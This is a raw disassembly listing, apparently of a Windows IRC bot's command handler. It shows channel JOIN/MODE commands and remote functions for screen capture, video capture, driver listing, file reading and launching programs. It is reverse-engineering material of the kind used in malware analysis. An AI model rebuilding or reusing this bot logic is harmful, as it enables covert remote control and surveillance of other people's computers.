		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset unk_436944
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	17h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412E1A

loc_412E04:				; CODE XREF: sub_40EE72+3FA6j
		cmp	[ebp+var_560], ebx
		jnz	loc_413A64
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_412E04
; ---------------------------------------------------------------------------

loc_412E1A:				; CODE XREF: sub_40EE72+3F90j
		call	near ptr 2610941h
		nop
		push	eax
		push	offset unk_4368F8
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412E2B:				; CODE XREF: sub_40EE72+3E50j
		push	offset unk_4368A4
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_412E35:				; CODE XREF: sub_40EE72+251Bj
					; sub_40EE72+2532j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436894
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		push	edi
		call	sub_41781F
		add	esp, 28h
		test	eax, eax
		jle	short loc_412EBE
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 25D0CB3h

loc_412EBE:				; CODE XREF: sub_40EE72+4036j
		push	offset dword_436870
		call	sub_40BF6D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_412ED2:				; CODE XREF: sub_40EE72+24EDj
					; sub_40EE72+2504j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_412F91
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436894
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]

loc_412F4B:				; DATA XREF: ___:off_42DE40o
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_436840
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	edi
		call	sub_41781F
		add	esp, 14h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_412F91:				; CODE XREF: sub_40EE72+40A5j
		push	offset dword_4367FC
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412F9B:				; CODE XREF: sub_40EE72+24BFj
					; sub_40EE72+24D6j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367F4
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h

loc_412FB8:				; CODE XREF: sub_40EE72+41B0j
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47

loc_412FD2:				; CODE XREF: sub_40EE72+4CBDj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633

loc_412FF6:				; CODE XREF: sub_40EE72+446Bj
					; sub_40EE72+5D44j
		add	esp, 0Ch
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_412FFE:				; CODE XREF: sub_40EE72+2491j
					; sub_40EE72+24A8j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		push	offset dword_4367E8
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 14h
		jmp	short loc_412FB8
; ---------------------------------------------------------------------------

loc_413024:				; CODE XREF: sub_40EE72+2463j
					; sub_40EE72+247Aj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367E0
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_4367B4
		jmp	loc_4132D8
; ---------------------------------------------------------------------------

loc_413090:				; CODE XREF: sub_40EE72+2435j
					; sub_40EE72+244Cj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4130C1
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367AC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4130C1:				; CODE XREF: sub_40EE72+4238j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_436780
		jmp	loc_4132D8
; ---------------------------------------------------------------------------

loc_413115:				; CODE XREF: sub_40EE72+2407j
					; sub_40EE72+241Ej
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		push	esi
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_436754
		jmp	loc_4132D8
; ---------------------------------------------------------------------------

loc_413183:				; CODE XREF: sub_40EE72+23D9j
					; sub_40EE72+23F0j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_43671C
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_4131BD:				; CODE XREF: sub_40EE72+23ABj
					; sub_40EE72+23C2j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	offset dword_436710
		push	[ebp+arg_4]
		call	sub_40D633
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 25D0CB3h
		nop
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_4366EC
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_413226:				; CODE XREF: sub_40EE72+237Dj
					; sub_40EE72+2394j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_436F08
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		push	esi
		push	edi
		push	offset dword_4366C0
		jmp	short loc_4132D8
; ---------------------------------------------------------------------------

loc_41328C:				; CODE XREF: sub_40EE72+234Fj
					; sub_40EE72+2366j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		push	esi
		push	edi
		push	offset dword_436694

loc_4132D8:				; CODE XREF: sub_40EE72+4219j
					; sub_40EE72+429Ej ...
		call	sub_40BFE1
		jmp	loc_412FF6
; ---------------------------------------------------------------------------

loc_4132E2:				; CODE XREF: sub_40EE72+2321j
					; sub_40EE72+2338j
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		push	eax
		push	edi
		call	sub_40BE75
		pop	ecx
		pop	ecx
		push	edi
		push	offset dword_436668
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_413314:				; CODE XREF: sub_40EE72+22E1j
					; sub_40EE72+22F8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F47
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_4133B8
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4133A0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436894
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	edi
		push	offset dword_436634
		push	eax
		call	sub_4172B0
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_4133A0:				; CODE XREF: sub_40EE72+44D3j
		lea	eax, [ebp+var_2DC]
		push	offset dword_4365F4
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_4133B8:				; CODE XREF: sub_40EE72+44BEj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_4365CC
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_413402:				; CODE XREF: sub_40EE72+22B3j
					; sub_40EE72+22CAj
		push	offset aScreen	; "screen"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413465
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_413452
		push	[ebp+esi+var_8C]
		call	sub_4085B3
		cmp	eax, 1
		pop	ecx
		jnz	short loc_41344B
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_436588
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_413465
; ---------------------------------------------------------------------------

loc_41344B:				; CODE XREF: sub_40EE72+45BAj
		push	offset dword_43654C
		jmp	short loc_413457
; ---------------------------------------------------------------------------

loc_413452:				; CODE XREF: sub_40EE72+45A8j
		push	offset dword_436504

loc_413457:				; CODE XREF: sub_40EE72+45DEj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_413465:				; CODE XREF: sub_40EE72+459Fj
					; sub_40EE72+45D7j
		push	offset aDrivers	; "drivers"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4134FC
		mov	[ebp+arg_0], ebx

loc_41347D:				; CODE XREF: sub_40EE72+4675j
		lea	eax, [ebp+var_75C]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_3F8]
		push	0FFh
		push	eax
		push	[ebp+arg_0]
		call	dword_43F698
		test	eax, eax
		jz	short loc_4134E0
		lea	eax, [ebp+var_75C]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	[ebp+arg_0]
		push	offset dword_4364C8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_15B0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h

loc_4134E0:				; CODE XREF: sub_40EE72+462Ej
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 0Ah
		jl	short loc_41347D
		lea	eax, [ebp+var_2DC]
		push	offset dword_436494
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4134FC:				; CODE XREF: sub_40EE72+4602j
		push	offset aFrame	; "frame"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4135A2
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_41358F
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_41358F
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_41358F
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_41358F
		push	eax
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_4087EE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413588
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_436450
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_4135A2
; ---------------------------------------------------------------------------

loc_413588:				; CODE XREF: sub_40EE72+46F7j
		push	offset dword_43640C
		jmp	short loc_413594
; ---------------------------------------------------------------------------

loc_41358F:				; CODE XREF: sub_40EE72+46A6j
					; sub_40EE72+46AFj ...
		push	offset dword_4363C4

loc_413594:				; CODE XREF: sub_40EE72+471Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4135A2:				; CODE XREF: sub_40EE72+4699j
					; sub_40EE72+4714j
		push	offset aVideo	; "video"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413A64
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_41363B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_41363B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_41363B
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_41363B
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_41363B
		push	esi
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_4089E7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_413631
		push	[ebp+arg_18]
		push	offset dword_436388
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_413631:				; CODE XREF: sub_40EE72+47B0j
		push	offset dword_436338
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_41363B:				; CODE XREF: sub_40EE72+4751j
					; sub_40EE72+475Fj ...
		push	offset dword_4362EC
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_413645:				; CODE XREF: sub_40EE72+1CF0j
					; sub_40EE72+1D07j
		push	offset aR	; "r"
		push	edi
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4136C0
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 0Ch

loc_41366E:				; CODE XREF: sub_40EE72+482Bj
		test	eax, eax
		jz	short loc_41369F
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 20h
		jmp	short loc_41366E
; ---------------------------------------------------------------------------

loc_41369F:				; CODE XREF: sub_40EE72+47FEj
		push	esi
		call	sub_417900
		pop	ecx
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_4362B8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4110FD
; ---------------------------------------------------------------------------

loc_4136C0:				; CODE XREF: sub_40EE72+47E4j
		push	edi
		push	offset dword_436288
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4136CB:				; CODE XREF: sub_40EE72+1CC2j
					; sub_40EE72+1CD9j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	offset asc_42A660 ; "\n"
		push	esi
		call	sub_4179D0
		push	esi
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41370B
		push	offset dword_43624C
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_41370B:				; CODE XREF: sub_40EE72+488Dj
		push	esi
		push	offset dword_436224
		jmp	loc_414AB4
; ---------------------------------------------------------------------------

loc_413716:				; CODE XREF: sub_40EE72+1C94j
					; sub_40EE72+1CABj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		jnz	short loc_413747
		push	offset unk_4361F8
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_413747:				; CODE XREF: sub_40EE72+48C9j
		push	offset dword_4361CC
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_413751:				; CODE XREF: sub_40EE72+1C66j
					; sub_40EE72+1C7Dj
		push	7Fh
		lea	eax, [ebp+var_6EC]
		push	edi
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_413780
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_413780:				; CODE XREF: sub_40EE72+48FAj
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4361A4
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	15h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	ebx
		push	eax
		push	offset sub_40BC4B
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_413821

loc_41380B:				; CODE XREF: sub_40EE72+49ADj
		cmp	[ebp+var_560], ebx
		jnz	loc_414AC3
		push	32h
		call	near ptr 25D0CB3h
		nop
		jmp	short loc_41380B
; ---------------------------------------------------------------------------

loc_413821:				; CODE XREF: sub_40EE72+4997j
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_436158
		jmp	loc_414AB4
; ---------------------------------------------------------------------------

loc_413832:				; CODE XREF: sub_40EE72+1C38j
					; sub_40EE72+1C4Fj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_406387
		add	esp, 10h
		push	edi
		push	offset dword_436134
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413850:				; CODE XREF: sub_40EE72+1C0Aj
					; sub_40EE72+1C21j
		push	14h
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_6F4]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_5F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_436100
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C512
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_413929

loc_413913:				; CODE XREF: sub_40EE72+4AB5j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_413913
; ---------------------------------------------------------------------------

loc_413929:				; CODE XREF: sub_40EE72+4A9Fj
		nop
		call	near ptr 2610941h
		push	eax
		push	offset dword_4385B0
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_41393A:				; CODE XREF: sub_40EE72+1BDCj
					; sub_40EE72+1BF3j
		push	edi
		nop
		call	near ptr 2780B96h
		test	eax, eax
		jz	short loc_413964
		push	edi
		push	offset dword_4360D4
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_4110DC
; ---------------------------------------------------------------------------

loc_413964:				; CODE XREF: sub_40EE72+4AD1j
		push	offset dword_436A74
		call	sub_40AA35
		pop	ecx
		push	eax
		jmp	loc_414564
; ---------------------------------------------------------------------------

loc_413975:				; CODE XREF: sub_40EE72+1BAEj
					; sub_40EE72+1BC5j
		push	edi
		call	sub_41781F
		push	eax
		call	sub_415419
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_413992
		push	offset unk_43609C
		jmp	short loc_413997
; ---------------------------------------------------------------------------

loc_413992:				; CODE XREF: sub_40EE72+4B17j
		push	offset unk_436058

loc_413997:				; CODE XREF: sub_40EE72+4B1Ej
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_411100
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_411100
; ---------------------------------------------------------------------------

loc_4139D0:				; CODE XREF: sub_40EE72+1B80j
					; sub_40EE72+1B97j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_41518A
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4139F2
		push	offset unk_436024
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4139F2:				; CODE XREF: sub_40EE72+4B74j
		push	offset unk_435FE4
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4139FC:				; CODE XREF: sub_40EE72+1B52j
					; sub_40EE72+1B69j
		push	edi
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_413A36
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, ebx
		jz	short loc_413A51
		push	dword ptr [eax]

loc_413A1F:				; CODE XREF: sub_40EE72+4BDDj
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_435FB8
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_413A64
; ---------------------------------------------------------------------------

loc_413A36:				; CODE XREF: sub_40EE72+4B97j
		push	edi
		call	dword_43F6EC
		cmp	eax, ebx
		jz	short loc_413A51
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43F6F4
		push	eax
		jmp	short loc_413A1F
; ---------------------------------------------------------------------------

loc_413A51:				; CODE XREF: sub_40EE72+4BA9j
					; sub_40EE72+4BCDj
		push	offset dword_435F80

loc_413A56:				; CODE XREF: sub_40EE72+3E2Fj
					; sub_40EE72+3FBEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_413A64:				; CODE XREF: sub_40EE72+2A25j
					; sub_40EE72+3B37j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414AC3
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_413A8E:				; CODE XREF: sub_40EE72+1B24j
					; sub_40EE72+1B3Bj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_418C10
		add	esp, 0Ch
		push	edi
		push	offset dword_435F4C
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_413AA7:				; CODE XREF: sub_40EE72+1AF6j
					; sub_40EE72+1B0Dj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43F5DC
		test	eax, eax
		push	edi
		jz	short loc_413AC7
		push	offset unk_435F10
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_413AC7:				; CODE XREF: sub_40EE72+4C49j
		push	offset unk_435ECC
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_413AD1:				; CODE XREF: sub_40EE72+1AC8j
					; sub_40EE72+1ADFj
		mov	al, [edi]
		mov	byte_42F5C4, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_435E98
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_413AE6:				; CODE XREF: sub_40EE72+1A9Aj
					; sub_40EE72+1AB1j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
